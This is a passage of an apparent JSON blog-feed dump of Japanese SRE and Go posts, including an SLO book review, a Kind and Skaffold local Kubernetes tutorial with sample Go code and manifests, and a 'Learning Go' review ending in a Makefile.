Objectives)を用いた信頼性報告の重要性と方法について深く掘り下げています。本章は、従来の信頼性報告手法の問題点を指摘し、SLOベースのアプローチがいかにそれらの問題を解決し、より効果的なシステム運用を可能にするかを詳細に解説しています。ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング作者:ジャレッド・バーティ,ザッカリー・サラ・コーライセン,ジェン・ランボーン,デービッド・ヌーニェス,ハイディ・ウォーターハウス日本能率協会マネジメントセンターAmazon章の冒頭で、著者は次のように述べています:「SLOは根本的に、より良い議論を行い、したがって(願わくば!)より良い決定を下すためのデータを提供する手段です」この言葉は、SLOの本質が単なる技術的な指標ではなく、意思決定プロセスを改善するためのツールであることを端的に表現しています。この視点は重要だと感じました。多くの組織では、技術的な指標に囚われすぎて、ユーザー体験や事業目標との関連性を見失いがちです。SLOは、技術とビジネスのギャップを埋める強力なツールとなり得ます。syu-m-5151.hatenablog.com本章で特に印象的だったのは、従来の信頼性報告手法の問題点についての詳細な分析です。著者は、インシデント数のカウント、重大度レベルの設定、Mean Time to X(MTTX)などの従来のアプローチが、実際のユーザー体験を正確に反映していないことを指摘しています。例えば、MTTXに関して著者は次のように述べています:「複雑なシステムは一般的に、毎回異なる要因や寄与因子を持つユニークな方法で故障します」この指摘は、インシデントの一律な分類や平均値による評価が、実際のシステムの複雑さを捉えきれないことを明確に示しています。技術的な観点から特に興味深かったのは、分散型サービス拒否(DDoS)攻撃の例を用いた従来の報告手法の限界の説明です。著者は、同じタイプの攻撃であっても、攻撃者の動機、使用される技術、標的となるエンドポイント、トラフィックパターンなどが異なり、それぞれのインシデントが本質的に一意であることを強調しています。この例は、インシデントを単純にカウントしたり、重大度レベルに分類したりするアプローチの限界を明確に示しています。本章では、SLOベースのアプローチがこれらの問題をどのように解決するかについても詳細に解説されています。著者は、エラーバジェットの概念を用いることで、ユーザーが実際に経験した信頼性の低下を正確に捉えられることを示しています。例えば、20分間のインシデントが20回発生した四半期と、3時間の単一インシデントが発生した四半期を比較した場合、MTTXアプローチでは後者の方が深刻に見えますが、エラーバジェットを用いると前者の方がユーザーにとって実際には大きな影響があったことが明確になります。Figure 17-1. A dashboard showing the burndown of a service operating unreliably より引用Figure 17-1では、信頼性の「バーンダウン」を示すダッシュボードの例が提示されています。このようなビジュアル化は、サービスの現在の状態と傾向を一目で理解するのに有効です。著者は、「人間は視覚的なデータからパターンを見つけるのが得意です」と述べており、適切に設計されたダッシュボードが、アラートシステムが検知する前に問題を発見するのに役立つことを強調しています。本章の結論部分で、著者は次のように述べています:「SLOは、ユーザーの視点から物事を測定し、同時にあなたの同僚をより幸せにする方法です。これらの議論を適切に行うためには、自分の状態を適切に報告できることが恐らく最も重要な部分です」この言葉は、SLOが単なる技術的な指標ではなく、組織全体のコミュニケーションと意思決定を改善するためのツールであることを再確認させてくれます。SREとして、この章から学んだ最も重要な教訓は、信頼性報告が単なる数値の報告ではなく、ユーザー体験とビジネス目標に直結した意味のある情報を提供するべきだということです。SLOとエラーバジェットを用いることで、技術チーム、経営陣、そして顧客との間で、サービスの信頼性に関するより建設的な対話が可能になります。この章の内容を実践に移すためには、以下のようなアプローチが考えられます:既存の信頼性報告手法を見直し、SLOベースのアプローチへの移行計画を立てる。ユーザー体験を正確に反映するSLIとSLOを設定し、それに基づいたエラーバジェットを定義する。リアルタイムでSLOの状態とエラーバジェットの消費状況を可視化するダッシュボードを構築する。SLOとエラーバジェットの状況を定期的にレビューし、サービス改善の優先順位付けに活用する。技術チーム、経営陣、顧客それぞれに適した形で信頼性レポートを作成、定期的に共有する。技術的な観点からは、SLOとエラーバジェットの計算と可視化を自動化するシステムの構築が重要になります。例えば、以下のようなものが考えられます:リアルタイムでSLIを収集し、SLOの達成状況を計算するデータパイプラインエラーバジェットの消費状況をモニタリングし、アラートを発する仕組み過去のSLO達成状況とエラーバジェット消費のトレンドを分析するツール各種ステークホルダー向けにカスタマイズされた信頼性レポートを自動生成するシステムこれらのツールを整備することで、より効率的かつ効果的な信頼性報告が可能になり、サービスの継続的な改善につながるでしょう。本章は、SLOベースの信頼性報告に関する包括的かつ実践的なガイドを提供し、従来の報告手法の限界を明確に示すとともに、SLOとエラーバジェットを用いたアプローチがそれらの問題をいかに解決するかを具体的に解説しています。SREとして、このアプローチを実践することで、ユーザー体験を中心に据えたSLOの設定とエラーバジェットの管理を通じて、より効果的な信頼性管理と報告が可能になります。しかし、この導入には組織文化の変革を伴う大きな挑戦があり、全てのステークホルダーがその価値を理解し活用できるようになるまでには時間を要します。本章の「完璧である必要はありません」という言葉は、SREとしての重要な視点を提供しており、この考えを持ちつつSLOを通じてサービスの信頼性と組織全体の満足度を継続的に向上させていくことが私たちの役割です。SLOベースの信頼性報告は、単なる技術的指標の報告ではなく、組織全体のコミュニケーションと意思決定を改善する強力なツールであり、適切に実装・活用されれば、技術チーム、経営陣、顧客間の共通言語となり、より信頼性の高いシステム構築とユーザーへの価値提供につながります。この新しいアプローチを日々の業務に積極的に取り入れ、ユーザー体験を重視しつつ技術的指標とビジネス目標のバランスを取りながら、継続的に学習し適応していくことで、長期的にはユーザー満足度の向上とビジネス目標の達成に貢献できると確信しています。おわりに「Implementing Service Level Objectives」を通じて、SLOが単なる技術的な指標ではなく、組織全体の信頼性文化を形成する強力なツールであることを深く理解することができました。まるで、組織という庭にSLOという種を植えて、信頼性という美しい花を咲かせるようなものですね。本書は、SLOの技術的な側面だけでなく、組織文化や人間的な側面にも大きな注意を払っており、SREとしての私たちの役割の重要性を再認識させてくれました。私たちは単なるガーデナーではなく、庭師長なのです!特に印象に残ったのは、「完璧である必要はない」という著者のメッセージです。SLOは、ユーザーの満足度と組織のリソースのバランスを取るためのツールであり、常に進化し続けるものです。まるで、完璧な体重を目指すダイエットではなく、健康的な生活習慣を築くようなものですね。この視点を持ちつつ、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことが、SREとしての私たちの重要な役割だと感じました。本書から学んだ知見を実践に移すためには、技術的なスキルだけでなく、コミュニケーション能力やリーダーシップスキルの向上も必要です。まるで、スーパーエンジニアからスーパーヒーローへの進化が求められているようです。SLOを組織全体に浸透させ、効果的に活用していくためには、技術チーム、プロダクトチーム、経営陣など、様々なステークホルダーとの協力が不可欠だからです。時には、異世界人との交渉も必要かもしれません。本書を通じて、SREの役割がより戦略的なものになりつつあることを強く感じました。SLOの導入と運用を通じて、SREは技術的な問題解決だけでなく、組織全体の方向性に影響を与える重要な位置にあることが明確になりました。まるで、裏方から舞台の主役に躍り出るような感覚です。この変化に適応し、技術的なスキルとビジネス感覚の両方を磨いていくことが、今後のSREにとって不可欠だと考えます。最後に、本書の著者をはじめ、SLOの発展に尽力されてきた方々に、心からの敬意と感謝を表します。皆さんの献身的な努力なくして、今日のSLOの隆盛はありませんでした。皆さんが切り拓いてくださった道の上を、私もまた歩んでいくことを誓います。そして、本ブログ読者の皆さまにも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、SLOについて学び、実践し、議論を深めていければとおもいます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/05/163659","isoDate":"2024-07-05T07:36:59.000Z","dateMiliSeconds":1720165019000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sponsor/","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Lookerでもpivotがしたい!!","contentSnippet":"whatLooker上でpivotテーブルができるかを調べてやってみたメモ Q. Lookerでpivotできるの…?A.できるhttps://www.cloudskillsboost.google/course_templates/323/video/432948?locale=jaLooker自身の仕様上、ExcelやLooker Studioのような操作感と少し違う点に注意。 対応グラフ表グラフ表グラフ(レガシー) やってみるExplorerを利用してできるので、簡単なデータを入れたテーブルを用意してやってみる。 利用環境データソース:...","link":"https://zenn.dev/nedoko_dok0dko/articles/8c70b7bfa0cef4","isoDate":"2024-07-02T14:05:01.000Z","dateMiliSeconds":1719929101000,"authorName":"seno","authorId":"seno"},{"title":"eBPFで計装はノーコードの時代へ Grafana Beylaの出来るコト出来ないコト","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/ebpfdeji-zhuang-hanokodonoshi-dai-he-grafana-beylanochu-lai-rukotochu-lai-naikoto","isoDate":"2024-07-01T04:00:00.000Z","dateMiliSeconds":1719806400000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"【Kubernetes☸️】\\"Findy 開発生産性 Conference\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️プラットフォーム設計導入のために、横断的コミュニケーションが必要であるプラットフォームエンジニアリングで、マルチプロダクトの生産性を支えるプラットフォームエンジニアリングで、各マイクロサービスの生産性を支える発表スライドから得られる知識イベント名発表スライドイベントレポート登壇映像文字起こし謝辞イベント名オッス!オラ長谷川!✋\uD83C\uDFFB『マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』ていうテーマで、 Findy 開発生産性 Conference に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!『Findy開発生産性Conference』の発表資料です✊\uD83C\uDFFBオラたちのプラットフォームエンジニアリング事例を紹介してっから、ぜってぇ見てくれよな!✋\uD83C\uDFFB#開発生産性con_findyhttps://t.co/DjqztPn9z4— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) June 28, 2024 ちな、発表内容はこの記事にも関連してるぜ!イベントレポート@shinri_koda さんが書いてくれたイベントレポートもぜってぇ見てくれよな!✊\uD83C\uDFFB(ワードセンスがあり過ぎて、個人ブログ始めたら人気になりそう)センスある面白い一文\uD83D\uDE02これは、今すぐに日記ブログを始めるべき https://t.co/9SVo516apI pic.twitter.com/MApAcqxWoQ— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) July 6, 2024 登壇映像Findyさんが登壇の映像を公開してくれました\uD83C\uDFA5文字起こしFindyさんが発表を文字起こししてくれました\uD83D\uDDE3️謝辞感謝するぜ!イベントで出会えた全ての方々に!!!\uD83E\uDEF6\uD83C\uDFFB株式会社スリーシェイクのブースにお邪魔させていただきました\uD83D\uDE4C#3shake_inc pic.twitter.com/W7ufgaKfbS— すてにゃん (@stefafafan) June 29, 2024","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000","isoDate":"2024-07-01T03:00:00.000Z","dateMiliSeconds":1719802800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計","contentSnippet":"\\"Findy開発生産性Conference\\" の発表資料です✊\uD83C\uDFFB\\r\\r生産性を支えるためのプラットフォームエンジニアリング事例として、以下の3つの取り組みを紹介しました!\\r\\r・プラットフォーム設計導入のために、横断的コミュニケーションが必要である\\r・プラットフォームエンジニアリングで、マルチプロダクトの生産性を支える\\r・プラットフォームエンジニアリングで、各マイクロサービスの生産性を支える\\r\\r❓ はてなぶろぐ記事:https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1806559579180011572\\r\\r✍\uD83C\uDFFB 社内レポート:https://note.3-shake.com/n/n8efac1be167d\\r\\r\uD83D\uDDE3️ 発表文字起こし:https://findy-code.io/engineer-lab/dev-productivity-con-2024-3shake","link":"https://speakerdeck.com/hiroki_hasegawa/marutipurodakutonozu-zhi-demaikurosabisuakitekutiyawozhi-erucicdpuratutohuomushe-ji","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"運用者の各領域で向き合うLLM","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\\r\\rイベント名: Cloud Operator Days Tokyo 2024 \\rイベントURL:https://cloudopsdays.com/","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Go開発者のための遊び場を用意する - KindとSkaffoldで始めるKubernetesの開発環境構築","contentSnippet":"はじめにKind (Kubernetes in Docker) は、ローカル環境でKubernetesクラスタを簡単に構築できるツールです。そう、「簡単に」と言いましたが、「簡単」の定義は人によって大きく異なりますから。ある人にとっては「簡単」でも、他の人には「アラート対応を猫に教えるくらい難しい」かもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonさあ、気軽に「簡単な」Kubernetes体験の世界へ飛び込みましょう。途中で迷子になっても、パニックにならないでください。結局のところ、私たちプログラマーは迷子になることが仕事なのですから。サンプルコード動いているものをおいておくと記事の安心感と信頼性に繋がるので置いておきます。github.comKind公式ドキュメントkind.sigs.k8s.io環境情報環境としてはLimaを利用しております。syu-m-5151.hatenablog.com参考リンクKindクラスタの作成ローカルイメージのロードKindクラスタの設定KindのネットワーキングKindでの永続ボリュームの使用Kindのセットアップと基本的な使用方法KindのインストールKindはHomebrewやバイナリのダウンロード、Go言語を使用したインストールなど複数の方法でインストールすることができます。kind.sigs.k8s.io私はbrew で入れているので一応、コマンド記載しときます。brew install kind基本的なクラスタの作成最も基本的なKindクラスタを作成するには、以下のコマンドを使用します。kind create clusterこれにより、単一ノードのKubernetesクラスタが作成されます。カスタム設定でのクラスタ作成より詳細な設定を行う場合は、YAML設定ファイルを使用します。# kind-config.yamlkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane- role: worker- role: workerこのファイルを使用してクラスタを作成するにはkind create cluster --config kind-config.yamlクラスタの管理クラスタの一覧を表示:kind get clusters特定のクラスタを削除:kind delete cluster --name cluster-name特定のクラスタのkubeconfigを取得:kind get kubeconfig --name cluster-name1. Skaffoldとの統合による高速な開発サイクルの実現ホットリロード可能なローカル開発環境は、DockerとAirの組み合わせで構築できますが、SkaffoldとKindを用いることで、Kubernetes環境で同等の機能を持つ開発環境を実現することも可能です。skaffold.devサービスのソースコード変更が分かりやすければ正直なんでも良いのでこちらです。// main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello, World from Go!\\") }) http.ListenAndServe(\\":8080\\", nil)}Dockerfileの作成go.mod のバージョンとベースイメージがズレているとエラーが出るので修正しなきゃいけないですわねー# DockerfileFROM golang:1.22 as builderWORKDIR /app# Copy go mod and sum filesCOPY go.mod ./# Download all dependencies. Dependencies will be cached if the go.mod and go.sum files are not changedRUN go mod tidy# Copy the source from the current directory to the Working Directory inside the containerCOPY . .# Build the Go appRUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o go-app .FROM alpine:latest RUN apk --no-cache add ca-certificatesWORKDIR /root/COPY --from=builder /app/go-app .CMD [\\"./go-app\\"]Kubernetes設定ファイルの作成deployment.yaml にServiceも入れてます。# k8s-deployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: name: go-appspec: replicas: 1 selector: matchLabels: app: go-app template: metadata: labels: app: go-app spec: containers: - name: go-app image: go-app ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: go-appspec: type: NodePort ports: - port: 8080 targetPort: 8080 selector: app: go-appSkaffold設定ファイルの作成Skaffold設定ファイルの作成します。プロジェクトのルートディレクトリに skaffold.yaml ファイルを作成します。Dockerfileのビルドとkubectl でのデプロイの両方をやってくれます。# skaffold.yaml# Skaffoldの設定ファイル# このファイルはDockerイメージのビルドとKubernetesへのデプロイを自動化しますapiVersion: skaffold/v2beta26kind: Config# ビルド設定build: artifacts: - image: go-app # ビルドされるイメージの名前 context: . # ビルドコンテキストのパス(通常はプロジェクトのルートディレクトリ) docker: dockerfile: Dockerfile # 使用するDockerfileの名前# デプロイ設定deploy: kubectl: manifests: - k8s-*.yaml # デプロイに使用するKubernetesマニフェストファイルのパターン# 注意点:# 1. `go-app`はあなたのアプリケーション名に合わせて変更してください。# 2. Dockerfileがルートディレクトリにない場合は、パスを適切に調整してください。# 3. `k8s-*.yaml`は実際のマニフェストファイル名のパターンに合わせて変更してください。# 4. 必要に応じて、プロファイルやテスト設定を追加することができます。アプリケーションの実行とテストKindクラスタを作成し、Skaffoldを起動してます。kind create clusterskaffold dev --port-forwardこの後、main.goやDockerfileを編集してください。ファイルを保存すると、Skaffoldが自動的に以下の処理を行います。変更を検知新しいDockerイメージをビルドビルドしたイメージをKindクラスタにロードアプリケーションを再デプロイ変更の確認ブラウザやcurlコマンドを使用して、アプリケーションにアクセスし、変更が反映されていることを確認します。curl http://localhost:80802. マイクロサービスアーキテクチャのシミュレーションSkaffoldを使用して、2つのGoマイクロサービスを含む環境をKindでシミュレートします。Kindクラスタの作成# kind-multi-node.yamlkind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane extraPortMappings: - containerPort: 30000 hostPort: 8080 - containerPort: 30001 hostPort: 8081- role: worker- role: workerデプロイじゃいkind create cluster --config kind-multi-node.yamlサービスのソースコード その1// service-a/main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello from Service A!\\") }) http.ListenAndServe(\\":8080\\", nil)}サービスのソースコード その2// service-b/main.gopackage mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Hello from Service B!\\") }) http.ListenAndServe(\\":8081\\", nil)}Dockerfileの作成各サービスのディレクトリに以下のDockerfileを作成します。# service-a/Dockerfile と service-b/DockerfileFROM golang:1.22 as builderWORKDIR /appCOPY go.mod .COPY main.go .RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main .FROM alpine:latest RUN apk --no-cache add ca-certificatesWORKDIR /root/COPY --from=builder /app/main .CMD [\\"./main\\"]Kubernetes設定ファイルの作成service-aとservice-bのファイルを適切なディレクトリに設置します。# k8s-manifests.yamlapiVersion: apps/v1kind: Deploymentmetadata: name: service-aspec: replicas: 1 selector: matchLabels: app: service-a template: metadata: labels: app: service-a spec: containers: - name: service-a image: service-a ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: service-aspec: type: NodePort ports: - port: 8080 targetPort: 8080 nodePort: 30000 selector: app: service-a---apiVersion: apps/v1kind: Deploymentmetadata: name: service-bspec: replicas: 1 selector: matchLabels: app: service-b template: metadata: labels: app: service-b spec: containers: - name: service-b image: service-b ports: - containerPort: 8081---apiVersion: v1kind: Servicemetadata: name: service-bspec: type: NodePort ports: - port: 8081 targetPort: 8081 nodePort: 30001 selector: app: service-bSkaffold設定ファイルの作成プロジェクトのルートディレクトリに skaffold.yaml ファイルを作成します。# skaffold.yamlapiVersion: skaffold/v2beta29kind: Configbuild: artifacts: - image: service-a context: service-a docker: dockerfile: Dockerfile - image: service-b context: service-b docker: dockerfile: Dockerfiledeploy: kubectl: manifests: - k8s-manifests.yamlアプリケーションの実行とテストSkaffoldを使用してアプリケーションをビルド、デプロイ、そして監視します。skaffold dev --port-forwardこのコマンドは以下の動作を行います。- サービスAとサービスBのDockerイメージをビルド- ビルドしたイメージをKindクラスタにロード- Kubernetes マニフェストを適用してサービスをデプロイ- ポートフォワーディングを設定- ファイルの変更を監視し、変更があれば上記のプロセスを再実行確認別のターミナルウィンドウで以下のコマンドを実行して、サービスにアクセスできることを確認します。curl http://localhost:8080 # Service Acurl http://localhost:8081 # Service Bこれで、2つのマイクロサービスがKindクラスタ上で実行され、Skaffoldによって自動的に管理されます。ソースコードを変更すると、Skaffoldが自動的に再ビルドとデプロイを行います。おわりに本記事では、Kind(Kubernetes in Docker)を使用したGoアプリケーションの開発について詳しく解説しました。Kindの基本的なセットアップから、Skaffoldとの統合による高速な開発サイクルの実現、そしてマイクロサービスアーキテクチャのシミュレーションまで、実践的なアプローチで解説しました。ここで学んだtipsとセットアップ方法を活用することで、アプリケーション開発者は以下の利点を得ることができます効率的な開発サイクル: Skaffoldとの統合により、コード変更から再デプロイまでのプロセスが自動化され、開発速度が大幅に向上します。本番環境に近いテスト環境: Kindの柔軟性により、マイクロサービスアーキテクチャや複雑なネットワーク構成を、ローカル環境で簡単にシミュレートできます。Kindの強力な機能を利用することで、本番環境に近い状態でアプリケーションをテストし、開発サイクルを迅速化できます。これは、特にクラウドネイティブな開発において非常に重要です。今後のステップとして、以下のような発展的なトピックにチャレンジすることをおすすめします。まぁ一番は俺が書けって話ですけどね。本番環境に近いテスト環境の構築設定管理の簡素化データの永続化セキュリティの強化Kindを使用したCI/CDパイプラインの構築サービスメッシュ(例:Istio)のKind環境への導入Kindを使用したカオスエンジニアリングの実践マルチクラスタ環境のシミュレーションとフェデレーション最後に、Kindはあくまでもローカル開発とテストのためのツールであることを忘れないでください。本番環境への移行時には、クラウドプロバイダーやマネージドKubernetesサービスの特性を考慮し、適切な調整を行う必要があります。","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/21/135855","isoDate":"2024-06-21T04:58:55.000Z","dateMiliSeconds":1718945935000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SKKの接頭辞・接尾辞変換をvim-skk/skkeletonに追加した","contentSnippet":"Vim駅伝の2024/6/21の記事です。SKKは快適な日本語入力を実現する素敵なインプットメソッドです。WindowsやmacOSなどOS本体向けの実装もあるのですが、Vim向けにもskkeletonやtusskといった実装があります。ddskkです。","link":"https://blog.atusy.net/2024/06/21/skkeleton-affix/","isoDate":"2024-06-21T00:00:00.000Z","dateMiliSeconds":1718928000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Packer + Ansible で ftp-server: No such file or directory でコケたら","contentSnippet":"事象久々に packer + ansible で AWS の AMI を作成しようとしたら次のようなエラーでコケてしまいました。fatal: [default]: UNREACHABLE! =>…","link":"https://qiita.com/yteraoka/items/9576de9392fc5db6053a","isoDate":"2024-06-19T15:32:52.000Z","dateMiliSeconds":1718811172000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"知識のunlearningをちゃんとやる - Learning Go, 2nd Editionの読書感想文","contentSnippet":"はじめにGo言語の入門書として広く知られている\\"Learning Go\\"の第二版が発刊されました。第一版を読んだ際、Go言語のシンプルさと美しく整然とした構文に感銘を受けたものの、常に進化を続けているため、過去の知識にとらわれることなく、新しい概念や手法を柔軟に取り入れていく姿勢が何よりも重要であると感じました。learning.oreilly.comソフトウェアエンジニアとして成長を続けるには、アンラーニング(unlearning)の精神、つまり過去の知識にとらわれることなく、絶え間なく新しい知識を吸収し続ける姿勢が欠かせません。どんな達人でも鍛錬を怠れば老いるのが自明ですから、知識の新陳代謝のための学び直しが必要不可欠なのです。この第二版では、中身がかなり改訂されており、Go言語のベストプラクティスがより深く理解できるようになっています。特に、ジェネリクスのサポートについての記述が追加されているのが嬉しいポイントです。これまでのGoの型システムの制限を克服し、より柔軟で表現力の豊かなコードが書けるようになるはずです(使えるようになるとは言っていません)。Unlearn(アンラーン) 人生100年時代の新しい「学び」作者:柳川 範之,為末 大日経BPAmazonまた、並行処理やメモリ管理、パフォーマンスチューニングなどの話題も充実しており、Go言語でシステム開発を行う上で必須の知識が得られます。サンプルコードや練習問題を動かしながら、Go言語の深淵に迫っていくことができます。本書は初心者には基礎知識と理解を、中級者にはステップアップのための明確な道筋を、そして上級者にはさらなる深い洞察と広がりを教えてくれる。一冊だと思います。ちなみに第一版には日本語版もあります。初めてのGo言語 ―他言語プログラマーのためのイディオマティックGo実践ガイド作者:Jon Bodnerオーム社Amazonこの本を読みながら、過去の知識にとらわれずに新しい概念を柔軟に取り入れる姿勢の重要性を改めて実感しました。Go言語はシンプルな設計思想を貫きながらも、常に進化を続けています。私自身もGo言語を使った開発を行っており、アンラーニングの精神を持ち続け、新しい知識を積極的に吸収していく必要があります。そうすることで、Go言語を最大限に活用し、よりよいソフトウェアを作り上げていくことができるはずです。個人的におすすめの書籍としては、「実用 Go言語―システム開発の現場で知っておきたいアドバイス」もあります。Go言語を実務で使う際の実践的なアドバイスが詰まっており、ぜひ合わせて読むことをおすすめします。実用 Go言語 ―システム開発の現場で知っておきたいアドバイス作者:渋川 よしき,辻 大志郎,真野 隼記オライリージャパンAmazonこの本の構成序文では、第1版から第2版への変更点、本書の対象読者、表記規則、サンプルコードの使用方法などが説明されています。第1章でGo開発環境のセットアップ方法が解説され、第2章から第5章でGo言語の基本的な要素である型、宣言、複合型、ブロック、シャドーイング、制御構文、関数などが取り上げられます。第6章から第8章では、ポインタ、型、メソッド、インターフェース、ジェネリクスといったGo言語の特徴的な機能が詳しく説明されています。第9章ではエラー処理、第10章ではモジュール、パッケージ、インポートが解説されます。第11章でGoのツールエコシステムが紹介され、第12章でGo の並行処理機能が取り上げられています。第13章と第14章では標準ライブラリとcontextパッケージについて詳しく説明されています。さらに、第15章でテストの書き方、第16章でreflect、unsafe、cgoといったより高度なトピックが解説されています。最後に演習問題が用意されており、Go言語を体系的に学ぶことができる構成となっています。Chapter 1. Setting Up Your Go Environment「Chapter 1. Setting Up Your Go Environment」を読んで、改めてGo言語の開発環境について理解を深めることができました。私自身、以前からGo言語を使っていましたが、この章を通して新たな発見もありました。私は普段、開発環境としてNeovimを使っています。VSCodeやGoLandのような統合開発環境を目指していろいろやっているのですがデフォルトでここまでやれると羨ましくも思います。ただ、Neovimでもプラグインを使えば、コード補完やフォーマットなどの基本的な機能は十分に使えるので、不便は感じていません。設定ファイルはこちらです。アンラーンが大事とか言いながら絶対に譲らないのは草です。github.comそれでも、VSCodeやGoLandのようなIDEの充実ぶりには驚かされました。特にデバッガやリファクタリング機能は、本格的な開発では重宝しそうです。私としては、プロジェクトの規模や用途に応じて、適切な開発環境を選ぶことが大切だと思いましたが別に変える予定はありまえせん。The Go Playgroundについては、以前から愛用していました。サンプルコードを試したり、コードを共有したりするのに非常に便利ですよね。複数のファイルを扱うこともできるので、ちょっとしたプロトタイプを作るのにも役立ちます。ただ、機密情報をPlaygroundに貼り付けてしまわないよう、くれぐれも注意が必要だと改めて認識しました。Makefileの活用方法については、自分でもよく使っているテクニックです。go fmtやgo vet、go buildといったコマンドを個別に実行するのは手間なので、Makefileにまとめておくことで開発の効率化が図れます。さらに、以下のようにcleanターゲットを追加しておけば、生成されたバイナリやキャッシュの削除も簡単にできて便利ですね。かつて登壇したので共有しておきます。 speakerdeck.com.DEFAULT_GOAL := build.PHONY:fmt vet buildfmt: go fmt ./...vet: fmt go vet ./...build: vet go buildclean: go clean rm -f 